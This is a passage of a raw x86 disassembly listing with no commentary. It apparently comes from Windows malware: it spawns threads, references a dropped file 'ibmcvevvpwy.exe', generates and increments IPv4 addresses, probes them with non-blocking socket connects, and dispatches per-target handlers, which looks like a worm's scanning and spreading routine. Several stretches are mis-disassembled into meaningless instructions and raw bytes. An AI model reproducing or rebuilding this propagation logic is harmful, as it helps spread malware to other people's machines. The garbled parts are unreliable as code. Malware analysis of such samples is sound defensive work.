lea eax, [ebp+var_200]
push eax
call sub_4152AE
add esp, 18h
leave
retn
sub_40B8B2 endp
; ---------------------------------------------------------------------------
loc_40B929: ; CODE XREF: seg000:0040C1F1p
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+138h]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40BE09
shl eax, 6
xor ebx, ebx
cmp ds:dword_432A9C[eax], ebx
jz loc_40BE09
push 5
call sub_40B1B3
test eax, eax
pop ecx
jnz loc_40BBA3
mov eax, ds:dword_42A07C
push edi
mov esi, offset dword_4CFDF4
push 104h
push esi
push ebx
mov ds:dword_4D0004, eax
mov ds:dword_4D0000, ebx
call near ptr 0B10000h
in eax, dx
mov edi, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe"
push 103h
push edi
push offset dword_4CFEF8
call sub_41B7E0
mov eax, [ebp+118h]
add esp, 0Ch
cmp [ebp+98h], bl
mov ds:dword_4CFDF0, eax
mov eax, [ebp+140h]
push 7Fh
mov ds:dword_4D0088, eax
jnz short loc_40B9D9
lea eax, [ebp+18h]
push eax
push offset dword_4D0008
call sub_41B7E0
mov ds:dword_4D008C, 1
jmp short loc_40B9F0
; ---------------------------------------------------------------------------
loc_40B9D9: ; CODE XREF: seg000:0040B9BDj
lea eax, [ebp+98h]
push eax
push offset dword_4D0008
call sub_41B7E0
mov ds:dword_4D008C, ebx
loc_40B9F0: ; CODE XREF: seg000:0040B9D7j
add esp, 0Ch
lea eax, [ebp-204h]
push esi
push ds:dword_4D0004
push offset unk_42D510
push eax
call sub_41BA76
push ebx
lea eax, [ebp-204h]
push 5
push eax
call sub_40AF71
add esp, 1Ch
mov ds:dword_4CFFFC, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4CFDF0
push offset byte_411915
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, ds:dword_4CFFFC
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz loc_40BAF4
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset unk_4331AC
push eax
call sub_41BA76
add esp, 0Ch
loc_40BA6E: ; CODE XREF: seg000:0040BAFCj
lea eax, [ebp-204h]
push eax
call sub_4152AE
mov eax, ds:dword_4CD938
mov esi, offset dword_4D009C
mov dword ptr [esp], 104h
push esi
push ebx
mov ds:dword_4D02AC, eax
mov ds:dword_4D02A8, ebx
call near ptr 0B10000h
jge short loc_40BB07
add eax, [ecx]
; ---------------------------------------------------------------------------
db 2 dup(0), 57h
; ---------------------------------------------------------------------------
push offset dword_4D01A0
call sub_41B7E0
mov eax, [ebp+118h]
add esp, 0Ch
cmp [ebp+98h], bl
mov ds:dword_4D0098, eax
mov eax, [ebp+140h]
pop edi
mov ds:dword_4D0330, eax
push 7Fh
jnz short loc_40BB01
lea eax, [ebp+18h]
push eax
push offset dword_4D02B0
call sub_41B7E0
mov ds:dword_4D0334, 1
jmp short loc_40BB18
; ---------------------------------------------------------------------------
loc_40BAEC: ; CODE XREF: seg000:0040BAFAj
push 32h
call ds:dword_428064 ; Sleep
loc_40BAF4: ; CODE XREF: seg000:0040BA4Dj
cmp ds:dword_4D0090, ebx
jz short loc_40BAEC
jmp loc_40BA6E
; ---------------------------------------------------------------------------
loc_40BB01: ; CODE XREF: seg000:0040BAD0j
lea eax, [ebp+98h]
loc_40BB07: ; CODE XREF: seg000:0040BA9Dj
push eax
push offset dword_4D02B0
call sub_41B7E0
mov ds:dword_4D0334, ebx
loc_40BB18: ; CODE XREF: seg000:0040BAEAj
add esp, 0Ch
lea eax, [ebp-204h]
push esi
push ds:dword_4D02AC
push offset unk_433178
push eax
call sub_41BA76
push ebx
lea eax, [ebp-204h]
push 4
push eax
call sub_40AF71
add esp, 1Ch
mov ds:dword_4D02A4, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4D0098
push offset sub_40ED60
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, ds:dword_4D02A4
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz loc_40BC1C
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset unk_433144
push eax
call sub_41BA76
add esp, 0Ch
loc_40BB96: ; CODE XREF: seg000:0040BC24j
lea eax, [ebp-204h]
push eax
call sub_4152AE
pop ecx
loc_40BBA3: ; CODE XREF: seg000:0040B95Ej
mov eax, [ebp+138h]
mov ecx, eax
shl ecx, 6
cmp ds:dword_432AA4[ecx], ebx
jz loc_40BCD0
push 7
call sub_40B1B3
test eax, eax
pop ecx
jnz loc_40BCCA
mov eax, ds:dword_4D0920
cmp [ebp+98h], bl
mov ds:dword_4CFD5C, eax
mov eax, [ebp+118h]
mov ds:dword_4CFD50, eax
mov eax, [ebp+140h]
mov ds:dword_4CFD58, ebx
mov ds:dword_4CFDE0, eax
push 7Fh
jnz short loc_40BC29
lea eax, [ebp+18h]
push eax
push offset dword_4CFD60
call sub_41B7E0
mov ds:dword_4CFDE4, 1
jmp short loc_40BC40
; ---------------------------------------------------------------------------
loc_40BC14: ; CODE XREF: seg000:0040BC22j
push 32h
call ds:dword_428064 ; Sleep
loc_40BC1C: ; CODE XREF: seg000:0040BB75j
cmp ds:dword_4D0338, ebx
jz short loc_40BC14
jmp loc_40BB96
; ---------------------------------------------------------------------------
loc_40BC29: ; CODE XREF: seg000:0040BBF8j
lea eax, [ebp+98h]
push eax
push offset dword_4CFD60
call sub_41B7E0
mov ds:dword_4CFDE4, ebx
loc_40BC40: ; CODE XREF: seg000:0040BC12j
add esp, 0Ch
lea eax, [ebp-204h]
push ds:dword_4CFD5C
push offset unk_433114
push eax
call sub_41BA76
push ebx
lea eax, [ebp-204h]
push 7
push eax
call sub_40AF71
add esp, 18h
mov ds:dword_4CFD54, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4CFD50
push offset word_40EABE
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, ds:dword_4CFD54
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz loc_40BDC2
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset unk_4330DC
push eax
call sub_41BA76
add esp, 0Ch
loc_40BCBD: ; CODE XREF: seg000:0040BDCAj
lea eax, [ebp-204h]
push eax
call sub_4152AE
pop ecx
loc_40BCCA: ; CODE XREF: seg000:0040BBC4j
mov eax, [ebp+138h]
loc_40BCD0: ; CODE XREF: seg000:0040BBB4j
shl eax, 6
cmp ds:dword_432AA0[eax], ebx
jz loc_40BE09
push 3
call sub_40B1B3
test eax, eax
pop ecx
jnz loc_40BE09
mov esi, offset dword_4D05CC
push 104h
push esi
push ebx
call near ptr 0B10000h
push 0E8565C6Ah
daa
add eax, [ecx]
add [ecx+3Bh], bl
retn
; ---------------------------------------------------------------------------
pop ecx
jz short loc_40BD11
mov [eax], bl
loc_40BD11: ; CODE XREF: seg000:0040BD0Dj
mov eax, ds:dword_42A080
mov ds:dword_4D06E4, ebx
mov ds:dword_4D06D0, eax
lea eax, [ebp+18h]
push eax
push offset dword_4D0344
call sub_41BA76
mov eax, [ebp+118h]
pop ecx
pop ecx
mov ds:dword_4D0340, eax
mov ecx, [ebp+140h]
push esi
push ds:dword_4D06D0
mov ds:dword_4D06DC, ecx
mov ecx, [ebp+144h]
push eax
mov ds:dword_4D06E0, ecx
call sub_40AAF8
pop ecx
push eax
lea eax, [ebp-204h]
push offset unk_42D498
push eax
call sub_41BA76
push ebx
lea eax, [ebp-204h]
push 3
push eax
call sub_40AF71
add esp, 20h
mov ds:dword_4D06D8, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4D0340
push offset sub_40F477
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, ds:dword_4D06D8
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jz short loc_40BDE1
jmp short loc_40BDD7
; ---------------------------------------------------------------------------
loc_40BDBA: ; CODE XREF: seg000:0040BDC8j
push 32h
call ds:dword_428064 ; Sleep
loc_40BDC2: ; CODE XREF: seg000:0040BC9Cj
cmp ds:dword_4CFDE8, ebx
jz short loc_40BDBA
jmp loc_40BCBD
; ---------------------------------------------------------------------------
loc_40BDCF: ; CODE XREF: seg000:0040BDDDj
push 32h
call ds:dword_428064 ; Sleep
loc_40BDD7: ; CODE XREF: seg000:0040BDB8j
cmp ds:dword_4D06EC, ebx
jz short loc_40BDCF
jmp short loc_40BDFC
; ---------------------------------------------------------------------------
loc_40BDE1: ; CODE XREF: seg000:0040BDB6j
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset unk_4330A8
push eax
call sub_41BA76
add esp, 0Ch
loc_40BDFC: ; CODE XREF: seg000:0040BDDFj
lea eax, [ebp-204h]
push eax
call sub_4152AE
pop ecx
loc_40BE09: ; CODE XREF: seg000:0040B93Dj
; seg000:0040B94Ej ...
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE0D proc near ; CODE XREF: sub_40BF8E:loc_40BFF0p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CDD38h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41C500
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_4CDB20 ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_4CDBF4 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41C500
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40BE0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE55 proc near ; CODE XREF: sub_40BF8E+5Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41B1D0
cmp eax, 0Fh
pop ecx
jbe short loc_40BE7D
xor eax, eax
jmp short loc_40BEEE
; ---------------------------------------------------------------------------
loc_40BE7D: ; CODE XREF: sub_40BE55+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41C835
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40BEAA
call sub_41BAD2
mov [ebp+var_C], eax
loc_40BEAA: ; CODE XREF: sub_40BE55+4Bj
cmp [ebp+var_8], esi
jnz short loc_40BEB7
call sub_41BAD2
mov [ebp+var_8], eax
loc_40BEB7: ; CODE XREF: sub_40BE55+58j
cmp [ebp+var_4], esi
jnz short loc_40BEC4
call sub_41BAD2
mov [ebp+var_4], eax
loc_40BEC4: ; CODE XREF: sub_40BE55+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40BED0
call sub_41BAD2
loc_40BED0: ; CODE XREF: sub_40BE55+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov ds:dword_4CDD38[ecx*8], eax
loc_40BEEE: ; CODE XREF: sub_40BE55+26j
pop esi
leave
retn
sub_40BE55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BEF1 proc near ; CODE XREF: seg000:0040B75Cp
; sub_40BF8E+A9p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call ds:dword_4CDC78 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40BF1A
xor eax, eax
jmp short loc_40BF89
; ---------------------------------------------------------------------------
loc_40BF1A: ; CODE XREF: sub_40BEF1+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call ds:dword_4CDBF8 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call ds:dword_4CDC94 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call ds:dword_4CDBA0 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call ds:dword_4CDBE0 ; select
push esi
mov edi, eax
call ds:dword_4CDC90 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40BF89: ; CODE XREF: sub_40BEF1+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40BEF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BF8E proc near ; DATA XREF: seg000:0040C2DDo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_75 = dword ptr -75h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
mov ebx, esi
pop ecx
imul ebx, 234h
jmp loc_40C17F
; ---------------------------------------------------------------------------
loc_40BFDA: ; CODE XREF: sub_40BF8E+1FFj
cmp [ebp+var_10], 0
push eax
jz short loc_40BFF0
lea eax, [ebp+var_150]
push eax
call sub_40BE55
pop ecx
jmp short loc_40BFF5
; ---------------------------------------------------------------------------
loc_40BFF0: ; CODE XREF: sub_40BF8E+51j
call sub_40BE0D
loc_40BFF5: ; CODE XREF: sub_40BF8E+60j
pop ecx
mov edi, eax
push [ebp+arg_0]
push ds:dword_440B3C[ebx]
push [ebp+var_3C]
push edi
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_433208
push eax
call sub_41BA76
lea eax, [ebp+var_28C]
push eax
lea eax, dword_440938[ebx]
push eax
call sub_41BA76
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40BEF1
add esp, 2Ch
cmp eax, 1
jnz loc_40C174
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C0C9
push offset dword_4CFD38
call ds:dword_4280D4 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_4331E0
push eax
call sub_41BA76
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C0AB
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C09F
lea eax, [ebp+var_140]
loc_40C09F: ; CODE XREF: sub_40BF8E+109j
push eax
push [ebp+var_40]
call sub_409966
add esp, 14h
loc_40C0AB: ; CODE XREF: sub_40BF8E+EEj
lea eax, [ebp+var_28C]
push eax
call sub_4152AE
mov [esp+2A8h+var_2A8], offset dword_4CFD38
call ds:dword_4280D0 ; RtlLeaveCriticalSection
jmp loc_40C174
; ---------------------------------------------------------------------------
loc_40C0C9: ; CODE XREF: sub_40BF8E+BEj
push edi
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_41BA76
mov eax, [ebp+var_20]
shl eax, 6
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41BA76
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40C10D
lea eax, [ebp+var_140]
loc_40C10D: ; CODE XREF: sub_40BF8E+177j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41BA76
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call ds:off_432A94[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C174: ; CODE XREF: sub_40BF8E+B4j
; sub_40BF8E+136j
push 7D0h
call ds:dword_428064 ; Sleep
loc_40C17F: ; CODE XREF: sub_40BF8E+47j
mov eax, ds:dword_440B3C[ebx]
cmp ds:dword_4CDD3C[eax*8], 0
jnz loc_40BFDA
push esi
call sub_40B287
pop ecx
push 0
call near ptr 0B10000h
loc_40C1A1: ; DATA XREF: seg000:004039F1o
; seg000:004076BEo
add [ebp+var_75], edx
sub_40BF8E endp ; sp-analysis failed
in al, dx
sub esp, 1CCh
mov eax, [ebp+8]
push ebx
push esi
push edi
push 53h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp-14Ch]
inc ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp-14Ch]
push eax
call ds:dword_4CDC38 ; inet_addr
mov ecx, [ebp-2Ch]
sub esp, 14Ch
lea esi, [ebp-14Ch]
push 53h
mov ds:dword_4CDD38[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call loc_40B929
push 0Bh
call sub_40B1B3
add esp, 150h
cmp eax, ebx
jnz short loc_40C270
mov esi, offset dword_4CFD38
push esi
call ds:dword_4280DC ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_4280D8 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40C270
lea eax, [ebp-1CCh]
push offset unk_4332EC
push eax
call sub_41BA76
xor ebx, ebx
pop ecx
cmp [ebp-10h], ebx
pop ecx
jnz short loc_40C25A
push ebx
lea eax, [ebp-1CCh]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-3Ch]
call sub_409966
add esp, 14h
loc_40C25A: ; CODE XREF: seg000:0040C23Bj
lea eax, [ebp-1CCh]
push eax
call sub_4152AE
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C270: ; CODE XREF: seg000:0040C205j
; seg000:0040C221j
mov eax, [ebp-2Ch]
mov esi, ds:dword_428064
mov edi, ebx
mov ds:dword_4CDD3C[eax*8], ebx
xor ebx, ebx
cmp dword ptr [ebp-20h], 1
jb loc_40C332
loc_40C28E: ; CODE XREF: seg000:0040C32Cj
push edi
lea eax, [ebp-14Ch]
push dword ptr [ebp-2Ch]
mov [ebp-24h], edi
push dword ptr [ebp-38h]
push eax
lea eax, [ebp-1CCh]
push offset unk_4332B8
push eax
call sub_41BA76
push ebx
lea eax, [ebp-1CCh]
push 0Bh
push eax
call sub_40AF71
mov [ebp-28h], eax
imul eax, 234h
mov ecx, [ebp-2Ch]
add esp, 24h
mov ds:dword_440B3C[eax], ecx
lea eax, [ebp-14Ch]
push ebx
push ebx
push eax
push offset sub_40BF8E
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-28h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_40C349
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-1CCh]
push offset unk_433280
push eax
call sub_41BA76
lea eax, [ebp-1CCh]
push eax
call sub_4152AE
add esp, 10h
loc_40C324: ; CODE XREF: seg000:0040C34Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp-20h]
jbe loc_40C28E
loc_40C332: ; CODE XREF: seg000:0040C288j
cmp [ebp-30h], ebx
jz short loc_40C357
mov eax, [ebp-30h]
imul eax, 0EA60h
push eax
call esi ; Sleep
jmp short loc_40C364
; ---------------------------------------------------------------------------
loc_40C345: ; CODE XREF: seg000:0040C34Cj
push 1Eh
call esi ; Sleep
loc_40C349: ; CODE XREF: seg000:0040C2FBj
cmp [ebp-4], ebx
jz short loc_40C345
jmp short loc_40C324
; ---------------------------------------------------------------------------
loc_40C350: ; CODE XREF: seg000:0040C362j
push 7D0h
call esi ; Sleep
loc_40C357: ; CODE XREF: seg000:0040C335j
mov eax, [ebp-2Ch]
cmp ds:dword_4CDD3C[eax*8], 1
jz short loc_40C350
loc_40C364: ; CODE XREF: seg000:0040C343j
push dword ptr [ebp-30h]
mov eax, [ebp-2Ch]
push dword ptr [ebp-38h]
mov eax, ds:dword_4CDD38[eax*8]
push eax
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp-1CCh]
push offset unk_433240
push eax
call sub_41BA76
add esp, 14h
cmp [ebp-10h], ebx
jnz short loc_40C3B2
push ebx
lea eax, [ebp-1CCh]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-3Ch]
call sub_409966
add esp, 14h
loc_40C3B2: ; CODE XREF: seg000:0040C393j
lea eax, [ebp-1CCh]
push eax
call sub_4152AE
mov eax, [ebp-2Ch]
mov dword ptr [esp], 0BB8h
mov ds:dword_4CDD3C[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_40B1B3
cmp eax, 1
pop ecx
jnz short loc_40C3E9
push offset dword_4CFD38
call ds:dword_4280DC ; RtlDeleteCriticalSection
loc_40C3E9: ; CODE XREF: seg000:0040C3DCj
push dword ptr [ebp-2Ch]
call sub_40B287
pop ecx
push ebx
call near ptr 0B10000h
bound edx, [ebp-75h]
in al, dx
sub esp, 0BCh
mov eax, [ebp+8]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp-0BCh]
push 10h
rep movsd
xor esi, esi
push 0
inc esi
mov [eax+0A8h], esi
lea eax, [ebp-10h]
push eax
call sub_41B780
add esp, 0Ch
mov word ptr [ebp-10h], 2
push dword ptr [ebp-38h]
call ds:dword_4CDBF8 ; htons
mov [ebp-0Eh], ax
mov eax, [ebp-28h]
push 6
push esi
push 2
mov [ebp-0Ch], eax
call ds:dword_4CDC78 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C4B7
lea eax, [ebp-10h]
push 10h
push eax
push esi
call ds:dword_4CDBA0 ; connect
mov ecx, [ebp-2Ch]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov ds:dword_440B44[ecx], esi
jz short loc_40C4B7
push dword ptr [ebp-38h]
push dword ptr [ebp-28h]
call ds:dword_4CDC84 ; inet_ntoa
push eax
mov edi, offset dword_4D06F8
push offset unk_433320
push edi
call sub_41BA76
push 0
lea eax, [ebp-0B8h]
push dword ptr [ebp-20h]
push edi
push eax
push dword ptr [ebp-0BCh]
call sub_409966
push edi
call sub_4152AE
add esp, 28h
loc_40C4B7: ; CODE XREF: seg000:0040C456j
; seg000:0040C477j
push esi
call ds:dword_4CDC90 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40C4C6 proc near ; DATA XREF: seg000:00407AACo
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, ds:dword_428064
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C4F4: ; CODE XREF: sub_40C4C6+ECj
push [ebp+var_30]
push [ebp+var_20]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp+var_134]
push offset unk_433348
push eax
call sub_41BA76
lea eax, [ebp+var_134]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_440938
push eax
call sub_41B7E0
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push 40C3F9h
push edi
push edi
call ds:dword_42807C ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40C560
jmp short loc_40C55B
; ---------------------------------------------------------------------------
loc_40C557: ; CODE XREF: sub_40C4C6+98j
push 32h
call esi ; Sleep
loc_40C55B: ; CODE XREF: sub_40C4C6+8Fj
cmp [ebp+var_C], edi
jz short loc_40C557
loc_40C560: ; CODE XREF: sub_40C4C6+8Dj
push [ebp+var_4]
call ds:dword_42806C ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_41C500
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_4CDB20 ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_4CDBF4 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_41C500
add esp, 0Ch
jmp loc_40C4F4
sub_40C4C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C5B7 proc near ; DATA XREF: seg000:004077C3o
var_130 = byte ptr -130h
var_B0 = dword ptr -0B0h
var_AC = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_428064
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C5E5: ; CODE XREF: sub_40C5B7+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_43339C
push eax
call sub_41BA76
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_440938
push eax
call sub_41B7E0
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push 40C3F9h
push edi
push edi
call ds:dword_42807C ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40C651
jmp short loc_40C64C
; ---------------------------------------------------------------------------
loc_40C648: ; CODE XREF: sub_40C5B7+98j
push 32h
call esi ; Sleep
loc_40C64C: ; CODE XREF: sub_40C5B7+8Fj
cmp [ebp+var_8], edi
jz short loc_40C648
loc_40C651: ; CODE XREF: sub_40C5B7+8Dj
push [ebp+arg_0]
call ds:dword_42806C ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40C678
inc [ebp+var_2C]
jmp loc_40C5E5
; ---------------------------------------------------------------------------
loc_40C678: ; CODE XREF: sub_40C5B7+B7j
push [ebp+var_1C]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_433370
push eax
call sub_41BA76
push edi
lea eax, [ebp+var_130]
push [ebp+var_14]
push eax
lea eax, [ebp+var_AC]
push eax
push [ebp+var_B0]
call sub_409966
push [ebp+var_20]
call sub_40B287
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40C5B7 endp
; =============== S U B R O U T I N E =======================================
sub_40C6C4 proc near ; CODE XREF: sub_40C930+Ep
; sub_40C930+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C6C4 endp
; =============== S U B R O U T I N E =======================================
sub_40C6CE proc near ; CODE XREF: sub_40C930+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_41B6C5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C700
push ebx
push 0
push edi
